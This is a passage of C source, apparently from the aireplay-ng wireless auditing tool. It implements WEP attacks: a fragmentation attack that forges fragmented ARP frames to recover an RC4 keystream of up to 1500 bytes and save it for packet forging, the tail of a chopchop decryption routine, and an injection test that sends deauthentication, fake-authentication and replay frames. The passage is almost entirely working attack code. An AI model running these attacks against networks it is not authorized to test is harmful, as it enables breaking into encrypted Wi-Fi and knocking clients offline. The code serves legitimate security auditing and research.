fwrite( &pkh, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed" ); return( 1 ); } n = pkh.caplen; if( fwrite( h80211, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed" ); return( 1 ); } fclose( f_cap_out ); /* save the RC4 stream (xor mask) */ memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "replay_dec-%02d%02d-%02d%02d%02d.xor", lt->tm_mon + 1, lt->tm_mday, lt->tm_hour, lt->tm_min, lt->tm_sec ); printf( "Saving keystream in %s\n", strbuf ); if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL ) { perror( "fopen failed" ); return( 1 ); } n = pkh.caplen + 8 - 24; if( fwrite( chopped + 24, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed" ); return( 1 ); } fclose( f_cap_out ); printf( "\nCompleted in %lds (%0.2f bytes/s)\n\n", (long) time( NULL ) - tt, (float) ( pkh.caplen - 6 - 24 ) / (float) ( time( NULL ) - tt ) ); return( 0 ); } int make_arp_request(uchar *h80211, uchar *bssid, uchar *src_mac, uchar *dst_mac, uchar *src_ip, uchar *dst_ip, int size) { uchar *arp_header = (unsigned char*)"\xaa\xaa\x03\x00\x00\x00\x08\x06\x00\x01\x08\x00\x06\x04\x00\x01"; uchar *header80211 = (unsigned char*)"\x08\x41\x95\x00"; // 802.11 part memcpy(h80211, header80211, 4); memcpy(h80211+4, bssid, 6); memcpy(h80211+10, src_mac, 6); memcpy(h80211+16, dst_mac, 6); h80211[22] = '\x00'; h80211[23] = '\x00'; // ARP part memcpy(h80211+24, arp_header, 16); memcpy(h80211+40, src_mac, 6); memcpy(h80211+46, src_ip, 4); memset(h80211+50, '\x00', 6); memcpy(h80211+56, dst_ip, 4); // Insert padding bytes memset(h80211+60, '\x00', size-60); return 0; } void save_prga(char *filename, uchar *iv, uchar *prga, int prgalen) { FILE *xorfile; size_t unused; xorfile = fopen(filename, "wb"); unused = fwrite (iv, 1, 4, xorfile); unused = fwrite (prga, 1, prgalen, xorfile); fclose (xorfile); } int do_attack_fragment() { uchar packet[4096]; uchar packet2[4096]; uchar prga[4096]; uchar iv[4]; // uchar ack[14] = "\xd4"; char strbuf[256]; struct tm *lt; struct timeval tv, tv2; int done; int caplen; int caplen2; int arplen; int round; int prga_len; int isrelay; int again; int length; int ret; int gotit; int acksgot; int packets; int z; uchar *snap_header = (unsigned char*)"\xAA\xAA\x03\x00\x00\x00\x08\x00"; done = caplen = caplen2 = arplen = round = 0; prga_len = isrelay = gotit = again = length = 0; if( memcmp( opt.r_smac, NULL_MAC, 6 ) == 0 ) { printf( "Please specify a source MAC (-h).\n" ); return( 1 ); } if(getnet(NULL, 1, 1) != 0) return 1; if( memcmp( opt.r_dmac, NULL_MAC, 6 ) == 0 ) { memset( opt.r_dmac, '\xFF', 6); opt.r_dmac[5] = 0xED; } if( memcmp( opt.r_sip, NULL_MAC, 4 ) == 0 ) { memset( opt.r_sip, '\xFF', 4); } if( memcmp( opt.r_dip, NULL_MAC, 4 ) == 0 ) { memset( opt.r_dip, '\xFF', 4); } PCT; printf ("Waiting for a data packet...\n"); while(!done) // { round = 0; if( capture_ask_packet( &caplen, 0 ) != 0 ) return -1; z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; if((unsigned)caplen > sizeof(packet) || (unsigned)caplen > sizeof(packet2)) continue; memcpy( packet2, h80211, caplen ); caplen2 = caplen; PCT; printf("Data packet found!\n"); if ( memcmp( packet2 + 4, SPANTREE, 6 ) == 0 || memcmp( packet2 + 16, SPANTREE, 6 ) == 0 ) { packet2[z+4] = ((packet2[z+4] ^ 0x42) ^ 0xAA); //0x42 instead of 0xAA packet2[z+5] = ((packet2[z+5] ^ 0x42) ^ 0xAA); //0x42 instead of 0xAA packet2[z+10] = ((packet2[z+10] ^ 0x00) ^ 0x08); //0x00 instead of 0x08 } prga_len = 7; again = RETRY; memcpy( packet, packet2, caplen2 ); caplen = caplen2; memcpy(prga, packet+z+4, prga_len); memcpy(iv, packet+z, 4); xor_keystream(prga, snap_header, prga_len); while(again == RETRY) //sending 7byte fragments { again = 0; arplen=60; make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, arplen); if ((round % 2) == 1) { PCT; printf("Trying a LLC NULL packet\n"); memset(h80211+24, '\x00', 39); arplen=63; } acksgot=0; packets=(arplen-24)/(prga_len-4); if( (arplen-24)%(prga_len-4) != 0 ) packets++; PCT; printf("Sending fragmented packet\n"); send_fragments(h80211, arplen, iv, prga, prga_len-4, 0); // //Plus an ACK // send_packet(ack, 10); gettimeofday( &tv, NULL ); while (!gotit) //waiting for relayed packet { caplen = read_packet(packet, sizeof(packet), NULL); z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30; if ( ( packet[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; if (packet[0] == 0xD4 ) { if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC { acksgot++; } continue; } if ((packet[0] & 0x08) && (( packet[1] & 0x40 ) == 0x40) ) //Is data frame && encrypted { if ( (packet[1] & 2) ) //Is a FromDS packet { if (! memcmp(opt.r_dmac, packet+4, 6)) //To our MAC { if (! memcmp(opt.r_smac, packet+16, 6)) //From our MAC { if (caplen-z < 66) //Is short enough { //This is our relayed packet! PCT; printf("Got RELAYED packet!!\n"); gotit = 1; isrelay = 1; } } } } } /* check if we got an deauthentication packet */ if( packet[0] == 0xC0 && memcmp( packet+4, opt.r_smac, 6) == 0 ) { PCT; printf( "Got a deauthentication packet!\n" ); read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period } /* check if we got an disassociation packet */ if( packet[0] == 0xA0 && memcmp( packet+4, opt.r_smac, 6) == 0 ) { PCT; printf( "Got a disassociation packet!\n" ); read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period } gettimeofday( &tv2, NULL ); if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (100*1000) && acksgot >0 && acksgot < packets )//wait 100ms for acks { PCT; printf("Not enough acks, repeating...\n"); again = RETRY; break; } if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (1500*1000) && !gotit) //wait 1500ms for an answer { PCT; printf("No answer, repeating...\n"); round++; again = RETRY; if (round > 10) { PCT; printf("Still nothing, trying another packet...\n"); again = NEW_IV; } break; } } } if(again == NEW_IV) continue; make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, 60); if (caplen-z == 68-24) { //Thats the ARP packet! // PCT; printf("Thats our ARP packet!\n"); } if (caplen-z == 71-24) { //Thats the LLC NULL packet! // PCT; printf("Thats our LLC Null packet!\n"); memset(h80211+24, '\x00', 39); } if (! isrelay) { //Building expected cleartext uchar ct[4096] = "\xaa\xaa\x03\x00\x00\x00\x08\x06\x00\x01\x08\x00\x06\x04\x00\x02"; //Ethernet & ARP header //Followed by the senders MAC and IP: memcpy(ct+16, packet+16, 6); memcpy(ct+22, opt.r_dip, 4); //And our own MAC and IP: memcpy(ct+26, opt.r_smac, 6); memcpy(ct+32, opt.r_sip, 4); //Calculating memcpy(prga, packet+z+4, 36); xor_keystream(prga, ct, 36); } else { memcpy(prga, packet+z+4, 36); xor_keystream(prga, h80211+24, 36); } memcpy(iv, packet+z, 4); round = 0; again = RETRY; while(again == RETRY) { again = 0; PCT; printf("Trying to get 384 bytes of a keystream\n"); arplen=408; make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, arplen); if ((round % 2) == 1) { PCT; printf("Trying a LLC NULL packet\n"); memset(h80211+24, '\x00', arplen+8); arplen+=32; } acksgot=0; packets=(arplen-24)/(32); if( (arplen-24)%(32) != 0 ) packets++; send_fragments(h80211, arplen, iv, prga, 32, 0); // //Plus an ACK // send_packet(ack, 10); gettimeofday( &tv, NULL ); gotit=0; while (!gotit) //waiting for relayed packet { caplen = read_packet(packet, sizeof(packet), NULL); z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30; if ( ( packet[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; if (packet[0] == 0xD4 ) { if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC acksgot++; continue; } if ((packet[0] & 0x08) && (( packet[1] & 0x40 ) == 0x40) ) //Is data frame && encrypted { if ( (packet[1] & 2) ) //Is a FromDS packet with valid IV { if (! memcmp(opt.r_dmac, packet+4, 6)) //To our MAC { if (! memcmp(opt.r_smac, packet+16, 6)) //From our MAC { if (caplen-z > 400-24 && caplen-z < 500-24) //Is short enough { //This is our relayed packet! PCT; printf("Got RELAYED packet!!\n"); gotit = 1; isrelay = 1; } } } } } /* check if we got an deauthentication packet */ if( packet[0] == 0xC0 && memcmp( packet+4, opt.r_smac, 6) == 0 ) { PCT; printf( "Got a deauthentication packet!\n" ); read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period } /* check if we got an disassociation packet */ if( packet[0] == 0xA0 && memcmp( packet+4, opt.r_smac, 6) == 0 ) { PCT; printf( "Got a disassociation packet!\n" ); read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period } gettimeofday( &tv2, NULL ); if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (100*1000) && acksgot >0 && acksgot < packets )//wait 100ms for acks { PCT; printf("Not enough acks, repeating...\n"); again = RETRY; break; } if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (1500*1000) && !gotit) //wait 1500ms for an answer { PCT; printf("No answer, repeating...\n"); round++; again = RETRY; if (round > 10) { PCT; printf("Still nothing, trying another packet...\n"); again = NEW_IV; } break; } } } if(again == NEW_IV) continue; make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, 408); if (caplen-z == 416-24) { //Thats the ARP packet! // PCT; printf("Thats our ARP packet!\n"); } if (caplen-z == 448-24) { //Thats the LLC NULL packet! // PCT; printf("Thats our LLC Null packet!\n"); memset(h80211+24, '\x00', 416); } memcpy(iv, packet+z, 4); memcpy(prga, packet+z+4, 384); xor_keystream(prga, h80211+24, 384); round = 0; again = RETRY; while(again == RETRY) { again = 0; PCT; printf("Trying to get 1500 bytes of a keystream\n"); make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, 1500); arplen=1500; if ((round % 2) == 1) { PCT; printf("Trying a LLC NULL packet\n"); memset(h80211+24, '\x00', 1508); arplen+=32; } acksgot=0; packets=(arplen-24)/(300); if( (arplen-24)%(300) != 0 ) packets++; send_fragments(h80211, arplen, iv, prga, 300, 0); // //Plus an ACK // send_packet(ack, 10); gettimeofday( &tv, NULL ); gotit=0; while (!gotit) //waiting for relayed packet { caplen = read_packet(packet, sizeof(packet), NULL); z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30; if ( ( packet[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; if (packet[0] == 0xD4 ) { if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC acksgot++; continue; } if ((packet[0] & 0x08) && (( packet[1] & 0x40 ) == 0x40) ) //Is data frame && encrypted { if ( (packet[1] & 2) ) //Is a FromDS packet with valid IV { if (! memcmp(opt.r_dmac, packet+4, 6)) //To our MAC { if (! memcmp(opt.r_smac, packet+16, 6)) //From our MAC { if (caplen-z > 1496-24) //Is short enough { //This is our relayed packet! PCT; printf("Got RELAYED packet!!\n"); gotit = 1; isrelay = 1; } } } } } /* check if we got an deauthentication packet */ if( packet[0] == 0xC0 && memcmp( packet+4, opt.r_smac, 6) == 0 ) { PCT; printf( "Got a deauthentication packet!\n" ); read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period } /* check if we got an disassociation packet */ if( packet[0] == 0xA0 && memcmp( packet+4, opt.r_smac, 6) == 0 ) { PCT; printf( "Got a disassociation packet!\n" ); read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period } gettimeofday( &tv2, NULL ); if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (100*1000) && acksgot >0 && acksgot < packets )//wait 100ms for acks { PCT; printf("Not enough acks, repeating...\n"); again = RETRY; break; } if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (1500*1000) && !gotit) //wait 1500ms for an answer { PCT; printf("No answer, repeating...\n"); round++; again = RETRY; if (round > 10) { printf("Still nothing, quitting with 384 bytes? [y/n] \n"); fflush( stdout ); ret=0; while(!ret) ret = scanf( "%s", tmpbuf ); printf( "\n" ); if( tmpbuf[0] == 'y' || tmpbuf[0] == 'Y' ) again = ABORT; else again = NEW_IV; } break; } } } if(again == NEW_IV) continue; if(again == ABORT) length = 408; else length = 1500; make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, length); if (caplen == length+8+z) { //Thats the ARP packet! // PCT; printf("Thats our ARP packet!\n"); } if (caplen == length+16+z) { //Thats the LLC NULL packet! // PCT; printf("Thats our LLC Null packet!\n"); memset(h80211+24, '\x00', length+8); } if(again != ABORT) { memcpy(iv, packet+z, 4); memcpy(prga, packet+z+4, length); xor_keystream(prga, h80211+24, length); } lt = localtime( (const time_t *) &tv.tv_sec ); memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "fragment-%02d%02d-%02d%02d%02d.xor", lt->tm_mon + 1, lt->tm_mday, lt->tm_hour, lt->tm_min, lt->tm_sec ); save_prga(strbuf, iv, prga, length); printf( "Saving keystream in %s\n", strbuf ); printf("Now you can build a packet with packetforge-ng out of that %d bytes keystream\n", length); done=1; } return( 0 ); } int grab_essid(uchar* packet, int len) { int i=0, j=0, pos=0, tagtype=0, taglen=0, chan=0; uchar bssid[6]; memcpy(bssid, packet+16, 6); taglen = 22; //initial value to get the fixed tags parsing started taglen+= 12; //skip fixed tags in frames do { pos += taglen + 2; tagtype = packet[pos]; taglen = packet[pos+1]; } while(tagtype != 3 && pos < len-2); if(tagtype != 3) return -1; if(taglen != 1) return -1; if(pos+2+taglen > len) return -1; chan = packet[pos+2]; pos=0; taglen = 22; //initial value to get the fixed tags parsing started taglen+= 12; //skip fixed tags in frames do { pos += taglen + 2; tagtype = packet[pos]; taglen = packet[pos+1]; } while(tagtype != 0 && pos < len-2); if(tagtype != 0) return -1; if(taglen > 250) taglen = 250; if(pos+2+taglen > len) return -1; for(i=0; i<20; i++) { if( ap[i].set) { if( memcmp(bssid, ap[i].bssid, 6) == 0 ) //got it already { if(packet[0] == 0x50 && !ap[i].found) { ap[i].found++; } if(ap[i].chan == 0) ap[i].chan=chan; break; } } if(ap[i].set == 0) { for(j=0; j 127) { return -1; } } ap[i].set = 1; ap[i].len = taglen; memcpy(ap[i].essid, packet+pos+2, taglen); ap[i].essid[taglen] = '\0'; memcpy(ap[i].bssid, bssid, 6); ap[i].chan = chan; if(packet[0] == 0x50) ap[i].found++; return 0; } } return -1; } static int get_ip_port(char *iface, char *ip, const int ip_size) { char *host; char *ptr; int port = -1; struct in_addr addr; host = strdup(iface); if (!host) return -1; ptr = strchr(host, ':'); if (!ptr) goto out; *ptr++ = 0; if (!inet_aton(host, (struct in_addr *)&addr)) goto out; /* XXX resolve hostname */ if(strlen(host) > 15) { port = -1; goto out; } strncpy(ip, host, ip_size); port = atoi(ptr); if(port <= 0) port = -1; out: free(host); return port; } void dump_packet(unsigned char* packet, int len) { int i=0; for(i=0; i0 && i%4 == 0)printf(" "); if(i>0 && i%16 == 0)printf("\n"); printf("%02X ", packet[i]); } printf("\n\n"); } struct net_hdr { uint8_t nh_type; uint32_t nh_len; uint8_t nh_data[0]; } __packed; int tcp_test(const char* ip_str, const short port) { int sock, i; struct sockaddr_in s_in; int packetsize = 1024; unsigned char packet[packetsize]; struct timeval tv, tv2, tv3; int caplen = 0; int times[REQUESTS]; int min, avg, max, len; struct net_hdr nh; tv3.tv_sec=0; tv3.tv_usec=1; s_in.sin_family = PF_INET; s_in.sin_port = htons(port); if (!inet_aton(ip_str, &s_in.sin_addr)) return -1; if ((sock = socket(s_in.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1) return -1; /* avoid blocking on reading the socket */ if( fcntl( sock, F_SETFL, O_NONBLOCK ) < 0 ) { perror( "fcntl(O_NONBLOCK) failed" ); return( 1 ); } gettimeofday( &tv, NULL ); while (1) //waiting for relayed packet { if (connect(sock, (struct sockaddr*) &s_in, sizeof(s_in)) == -1) { if(errno != EINPROGRESS && errno != EALREADY) { perror("connect"); close(sock); printf("Failed to connect\n"); return -1; } } else { gettimeofday( &tv2, NULL ); break; } gettimeofday( &tv2, NULL ); //wait 3000ms for a successful connect if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (3000*1000)) { printf("Connection timed out\n"); close(sock); return(-1); } usleep(10); } PCT; printf("TCP connection successful\n"); //trying to identify airserv-ng memset(&nh, 0, sizeof(nh)); // command: GET_CHAN nh.nh_type = 2; nh.nh_len = htonl(0); if (send(sock, &nh, sizeof(nh), 0) != sizeof(nh)) { perror("send"); return -1; } gettimeofday( &tv, NULL ); i=0; while (1) //waiting for GET_CHAN answer { caplen = read(sock, &nh, sizeof(nh)); if(caplen == -1) { if( errno != EAGAIN ) { perror("read"); return -1; } } if( (unsigned)caplen == sizeof(nh)) { len = ntohl(nh.nh_len); if( nh.nh_type == 1 && i==0 ) { i=1; caplen = read(sock, packet, len); if(caplen == len) { i=2; break; } else { i=0; } } else { caplen = read(sock, packet, len); } } gettimeofday( &tv2, NULL ); //wait 1000ms for an answer if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (1000*1000)) { break; } if(caplen == -1) usleep(10); } if(i==2) { PCT; printf("airserv-ng found\n"); } else { PCT; printf("airserv-ng NOT found\n"); } close(sock); for(i=0; i (1000*1000)) { break; } //simple "high-precision" usleep select(1, NULL, NULL, NULL, &tv3); } times[i] = ((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)); printf( "\r%d/%d\r", i, REQUESTS); fflush(stdout); close(sock); } min = INT_MAX; avg = 0; max = 0; for(i=0; i max) max = times[i]; avg += times[i]; } avg /= REQUESTS; PCT; printf("ping %s:%d (min/avg/max): %.3fms/%.3fms/%.3fms\n", ip_str, port, min/1000.0, avg/1000.0, max/1000.0); return 0; } int do_attack_test() { uchar packet[4096]; struct timeval tv, tv2, tv3; int len=0, i=0, j=0, k=0; int gotit=0, answers=0, found=0; int caplen=0, essidlen=0; unsigned int min, avg, max; int ret=0; float avg2; struct rx_info ri; int atime=200; //time in ms to wait for answer packet (needs to be higher for airserv) unsigned char nulldata[1024]; if(opt.port_out > 0) { atime += 200; PCT; printf("Testing connection to injection device %s\n", opt.iface_out); ret = tcp_test(opt.ip_out, opt.port_out); if(ret != 0) { return( 1 ); } printf("\n"); /* open the replay interface */ _wi_out = wi_open(opt.iface_out); if (!_wi_out) return 1; printf("\n"); dev.fd_out = wi_fd(_wi_out); wi_get_mac(_wi_out, dev.mac_out); if(opt.s_face == NULL) { _wi_in = _wi_out; dev.fd_in = dev.fd_out; /* XXX */ dev.arptype_in = dev.arptype_out; wi_get_mac(_wi_in, dev.mac_in); } } if(opt.s_face && opt.port_in > 0) { atime += 200; PCT; printf("Testing connection to capture device %s\n", opt.s_face); ret = tcp_test(opt.ip_in, opt.port_in); if(ret != 0) { return( 1 ); } printf("\n"); /* open the packet source */ _wi_in = wi_open(opt.s_face); if (!_wi_in) return 1; dev.fd_in = wi_fd(_wi_in); wi_get_mac(_wi_in, dev.mac_in); printf("\n"); } else if(opt.s_face && opt.port_in <= 0) { _wi_in = wi_open(opt.s_face); if (!_wi_in) return 1; dev.fd_in = wi_fd(_wi_in); wi_get_mac(_wi_in, dev.mac_in); printf("\n"); } if(opt.port_in <= 0) { /* avoid blocking on reading the socket */ if( fcntl( dev.fd_in, F_SETFL, O_NONBLOCK ) < 0 ) { perror( "fcntl(O_NONBLOCK) failed" ); return( 1 ); } } if(getnet(NULL, 0, 0) != 0) return 1; srand( time( NULL ) ); memset(ap, '\0', 20*sizeof(struct APt)); essidlen = strlen(opt.r_essid); if( essidlen > 250) essidlen = 250; if( essidlen > 0 ) { ap[0].set = 1; ap[0].found = 0; ap[0].len = essidlen; memcpy(ap[0].essid, opt.r_essid, essidlen); ap[0].essid[essidlen] = '\0'; memcpy(ap[0].bssid, opt.r_bssid, 6); found++; } if(opt.bittest) set_bitrate(_wi_out, RATE_1M); PCT; printf("Trying broadcast probe requests...\n"); memcpy(h80211, PROBE_REQ, 24); len = 24; h80211[24] = 0x00; //ESSID Tag Number h80211[25] = 0x00; //ESSID Tag Length len += 2; memcpy(h80211+len, RATES, 16); len += 16; gotit=0; answers=0; for(i=0; i<3; i++) { /* random source so we can identify our packets */ opt.r_smac[0] = 0x00; opt.r_smac[1] = rand() & 0xFF; opt.r_smac[2] = rand() & 0xFF; opt.r_smac[3] = rand() & 0xFF; opt.r_smac[4] = rand() & 0xFF; opt.r_smac[5] = rand() & 0xFF; memcpy(h80211+10, opt.r_smac, 6); send_packet(h80211, len); gettimeofday( &tv, NULL ); while (1) //waiting for relayed packet { caplen = read_packet(packet, sizeof(packet), &ri); if (packet[0] == 0x50 ) //Is probe response { if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC { if(grab_essid(packet, caplen) == 0 && (!memcmp(opt.r_bssid, NULL_MAC, 6))) { found++; } if(!answers) { PCT; printf("Injection is working!\n"); if(opt.fast) return 0; gotit=1; answers++; } } } if (packet[0] == 0x80 ) //Is beacon frame { if(grab_essid(packet, caplen) == 0 && (!memcmp(opt.r_bssid, NULL_MAC, 6))) { found++; } } gettimeofday( &tv2, NULL ); if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (3*atime*1000)) //wait 'atime'ms for an answer { break; } } } if(answers == 0) { PCT; printf("No Answer...\n"); } PCT; printf("Found %d AP%c\n", found, ((found == 1) ? ' ' : 's' ) ); if(found > 0) { printf("\n"); PCT; printf("Trying directed probe requests...\n"); } for(i=0; i -200) ap[i].pwr[j] = (signed)ri.ri_power; break; } } } if (packet[0] == 0xC4 ) //Is clear-to-send { if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC { gettimeofday( &tv3, NULL); ap[i].ping[j] = ((tv3.tv_sec*1000000 - tv.tv_sec*1000000) + (tv3.tv_usec - tv.tv_usec)); if(!answers) { if(opt.fast) { PCT; printf("Injection is working!\n\n"); return 0; } answers++; } ap[i].found++; if((signed)ri.ri_power > -200) ap[i].pwr[j] = (signed)ri.ri_power; break; } } if (packet[0] == 0xD4 ) //Is ack { if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC { gettimeofday( &tv3, NULL); ap[i].ping[j] = ((tv3.tv_sec*1000000 - tv.tv_sec*1000000) + (tv3.tv_usec - tv.tv_usec)); if(!answers) { if(opt.fast) { PCT; printf("Injection is working!\n\n"); return 0; } answers++; } ap[i].found++; if((signed)ri.ri_power > -200) ap[i].pwr[j] = (signed)ri.ri_power; break; } } if (packet[0] == 0xB0 ) //Is auth response { if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC { if (! memcmp(packet+10, packet+16, 6)) //From BSS ID { gettimeofday( &tv3, NULL); ap[i].ping[j] = ((tv3.tv_sec*1000000 - tv.tv_sec*1000000) + (tv3.tv_usec - tv.tv_usec)); if(!answers) { if(opt.fast) { PCT; printf("Injection is working!\n\n"); return 0; } answers++; } ap[i].found++; if((signed)ri.ri_power > -200) ap[i].pwr[j] = (signed)ri.ri_power; break; } } } gettimeofday( &tv2, NULL ); if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (atime*1000)) //wait 'atime'ms for an answer { break; } usleep(10); } printf( "\r%2d/%2d: %3d%%\r", ap[i].found, j+1, ((ap[i].found*100)/(j+1))); fflush(stdout); } for(j=0; j 0) { if(ap[i].ping[j] > max) max = ap[i].ping[j]; if(ap[i].ping[j] < min) min = ap[i].ping[j]; avg += ap[i].ping[j]; avg2 += ap[i].pwr[j]; } } if(ap[i].found > 0) { avg /= ap[i].found; avg2 /= ap[i].found; PCT; printf("Ping (min/avg/max): %.3fms/%.3fms/%.3fms Power: %.2f\n", (min/1000.0), (avg/1000.0), (max/1000.0), avg2); } PCT; printf("%2d/%2d: %3d%%\n\n", ap[i].found, REQUESTS, ((ap[i].found*100)/REQUESTS)); if(!gotit && answers) { PCT; printf("Injection is working!\n\n"); gotit=1; } } if(opt.bittest) { if(found > 0) { PCT; printf("Trying directed probe requests for all bitrates...\n"); } for(i=0; i -200) ap[i].pwr[j] = (signed)ri.ri_power; break; } } } gettimeofday( &tv2, NULL ); if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (100*1000)) //wait 300ms for an answer { break; } usleep(10); } printf( "\r%2d/%2d: %3d%%\r", ap[i].found, j+1, ((ap[i].found*100)/(j+1))); fflush(stdout); } for(j=0; j 0) avg2 /= ap[i].found; PCT; printf("Probing at %2.1f Mbps:\t%2d/%2d: %3d%%\n", wi_get_rate(_wi_out)/1000000.0, ap[i].found, REQUESTS, ((ap[i].found*100)/REQUESTS)); } if(!gotit && answers) { PCT; printf("Injection is working!\n\n"); if(opt.fast) return 0; gotit=1; } } } if(opt.bittest) set_bitrate(_wi_out, RATE_1M); if( opt.s_face != NULL ) { printf("\n"); PCT; printf("Trying card-to-card injection...\n"); /* sync both cards to the same channel, or the test will fail */ if(wi_get_channel(_wi_out) != wi_get_channel(_wi_in)) { wi_set_channel(_wi_out, wi_get_channel(_wi_in)); } /* Attacks */ for(i=0; i<5; i++) { k=0; /* random macs */ opt.f_smac[0] = 0x00; opt.f_smac[1] = rand() & 0xFF; opt.f_smac[2] = rand() & 0xFF; opt.f_smac[3] = rand() & 0xFF; opt.f_smac[4] = rand() & 0xFF; opt.f_smac[5] = rand() & 0xFF; opt.f_dmac[0] = 0x00; opt.f_dmac[1] = rand() & 0xFF; opt.f_dmac[2] = rand() & 0xFF; opt.f_dmac[3] = rand() & 0xFF; opt.f_dmac[4] = rand() & 0xFF; opt.f_dmac[5] = rand() & 0xFF; opt.f_bssid[0] = 0x00; opt.f_bssid[1] = rand() & 0xFF; opt.f_bssid[2] = rand() & 0xFF; opt.f_bssid[3] = rand() & 0xFF; opt.f_bssid[4] = rand() & 0xFF; opt.f_bssid[5] = rand() & 0xFF; if(i==0) //attack -0 { memcpy( h80211, DEAUTH_REQ, 26 ); memcpy( h80211 + 16, opt.f_bssid, 6 ); memcpy( h80211 + 4, opt.f_dmac, 6 ); memcpy( h80211 + 10, opt.f_smac, 6 ); opt.f_iswep = 0; opt.f_tods = 0; opt.f_fromds = 0; opt.f_minlen = opt.f_maxlen = 26; } else if(i==1) //attack -1 (open) { memcpy( h80211, AUTH_REQ, 30 ); memcpy( h80211 + 4, opt.f_dmac, 6 ); memcpy( h80211 + 10, opt.f_smac , 6 ); memcpy( h80211 + 16, opt.f_bssid, 6 ); opt.f_iswep = 0; opt.f_tods = 0; opt.f_fromds = 0; opt.f_minlen = opt.f_maxlen = 30; } else if(i==2) //attack -1 (psk) { memcpy( h80211, ska_auth3, 24); memcpy( h80211 + 4, opt.f_dmac, 6); memcpy( h80211 + 10, opt.f_smac, 6); memcpy( h80211 + 16, opt.f_bssid, 6); //iv+idx h80211[24] = 0x86; h80211[25] = 0xD8; h80211[26] = 0x2E; h80211[27] = 0x00; //random bytes (as encrypted data) for(j=0; j<132; j++) h80211[28+j] = rand() & 0xFF; opt.f_iswep = 1; opt.f_tods = 0; opt.f_fromds = 0; opt.f_minlen = opt.f_maxlen = 24+4+132; } else if(i==3) //attack -3 { memcpy( h80211, NULL_DATA, 24); memcpy( h80211 + 4, opt.f_bssid, 6); memcpy( h80211 + 10, opt.f_smac, 6); memcpy( h80211 + 16, opt.f_dmac, 6); //iv+idx h80211[24] = 0x86; h80211[25] = 0xD8; h80211[26] = 0x2E; h80211[27] = 0x00; //random bytes (as encrypted data) for(j=0; j<132; j++) h80211[28+j] = rand() & 0xFF; opt.f_iswep = -1; opt.f_tods = 1; opt.f_fromds = 0; opt.f_minlen = opt.f_maxlen = 24+4+132; } else if(i==4) //attack -5 { memcpy( h80211, NULL_DATA, 24); memcpy( h80211 + 4, opt.f_bssid, 6); memcpy( h80211 + 10, opt.f_smac, 6); memcpy( h80211 + 16, opt.f_dmac, 6); h80211[1] |= 0x04; h80211[22] = 0x0A; h80211[23] = 0x00; //iv+idx h80211[24] = 0x86; h80211[25] = 0xD8; h80211[26] = 0x2E; h80211[27] = 0x00; //random bytes (as encrypted data) for(j=0; j<7; j++) h80211[28+j] = rand() & 0xFF; opt.f_iswep = -1; opt.f_tods = 1; opt.f_fromds = 0; opt.f_minlen = opt.f_maxlen = 24+4+7; } for(j=0; (j<(REQUESTS/4) && !k); j++) //try it 5 times { send_packet( h80211, opt.f_minlen ); gettimeofday( &tv, NULL ); while (1) //waiting for relayed packet { caplen = read_packet(packet, sizeof(packet), &ri); if ( filter_packet(packet, caplen) == 0 ) //got same length and same type { if(!answers) { answers++; } if(i == 0) //attack -0 { if( h80211[0] == packet[0] ) { k=1; break; } } else if(i==1) //attack -1 (open) { if( h80211[0] 